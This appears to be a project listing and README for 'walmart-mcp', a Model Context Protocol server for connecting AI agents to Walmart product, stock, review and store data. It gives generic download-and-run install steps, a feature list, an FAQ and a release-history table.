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walmart-mcp

🛒 Connect AI agents to Walmart's ecosystem using the Model Context Protocol for real-time data access and enhanced product search capabilities.

Description

🛒 Connect AI agents to Walmart's ecosystem using the Model Context Protocol for real-time data access and enhanced product search capabilities.

README

🛍️ walmart-mcp - Connect Your AI Agents Effortlessly

📦 What is walmart-mcp?

walmart-mcp is a powerful server that allows AI agents, like Claude Desktop and Gemini CLI, to connect with Walmart through the Model Context Protocol (MCP). This application enables real-time product searches, item lookups, stock information, customer reviews, store locations, bestsellers, and smart recommendations. It is designed for shopping assistants, e-commerce automation, and retail market analysis, making shopping experiences better for users.

🔗 Download Now

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🚀 Getting Started

To get started with walmart-mcp, you need to download and install the application. Follow these steps:

  1. Visit the Releases Page Visit the Releases page to find the latest version of walmart-mcp.

  2. Choose Your Version Look for the most recent release. You will see a list of files available for download. Choose the file that matches your operating system.

  3. Download the File Click on the file link to start the download process. The file should begin downloading immediately. Depending on your internet connection, this may take a few minutes.

  4. Run the Application Once the download finishes, locate the downloaded file in your computer's downloads folder. Double-click on the file to run the application.

  5. Follow the Setup Instructions Follow the on-screen instructions to complete the setup. This will guide you through configuring your application for the first time.

  6. Connect Your AI Agents After installation, you can now connect your AI agents to the walmart-mcp server. Refer to the user manual included in the application for detailed steps on how to do this.

🎯 Features

  • Real-Time Product Search: Quickly search for products available at Walmart.
  • Item Lookups: Get detailed information about specific items.
  • Stock Information: Check stock levels for various products.
  • Customer Reviews: Read reviews from other shoppers.
  • Store Locations: Find Walmart stores near you.
  • Smart Recommendations: Receive product suggestions based on your interests.

💻 System Requirements

Before downloading, ensure your system meets these requirements:

📄 Download & Install

Make sure to visit the Releases page for the latest version download.

Simply follow the steps discussed above to successfully download and install the application.

🌐 Topics

This project covers various topics related to e-commerce and AI:

  • Affiliate API
  • AI Agents
  • E-commerce API
  • Product Search
  • Retail Automation
  • Market Analysis

❓ FAQ

How do I troubleshoot installation issues?

If you encounter issues during installation:

  • Ensure your system meets the requirements listed above.
  • Check if you're downloading the correct version for your OS.
  • Restart your computer and try again.

Can I run walmart-mcp on Linux?

Yes, walmart-mcp supports Linux. Follow the same download and installation steps as for other OS.

Where can I find additional help?

For further assistance, please check the user manual included in the program or visit our community forums where users share helpful tips and tricks.

📞 Support

If you need further support, feel free to open an issue directly on the GitHub repository. The community and maintainers will be glad to assist you.

📝 License

walmart-mcp is licensed under the MIT License. You can freely use it as long as you comply with license terms provided in the repository.

📶 Stay Updated

Stay tuned for updates and new features! Keep an eye on the Releases page and follow us for additional information.

You are now ready to explore the capabilities of walmart-mcp! Enjoy connecting your AI agents to Walmart efficiently.

Release History

VersionChangesUrgencyDate
main@2026-04-21Latest activity on main branchHigh4/21/2026
0.0.0No release found — using repo HEADHigh4/9/2026

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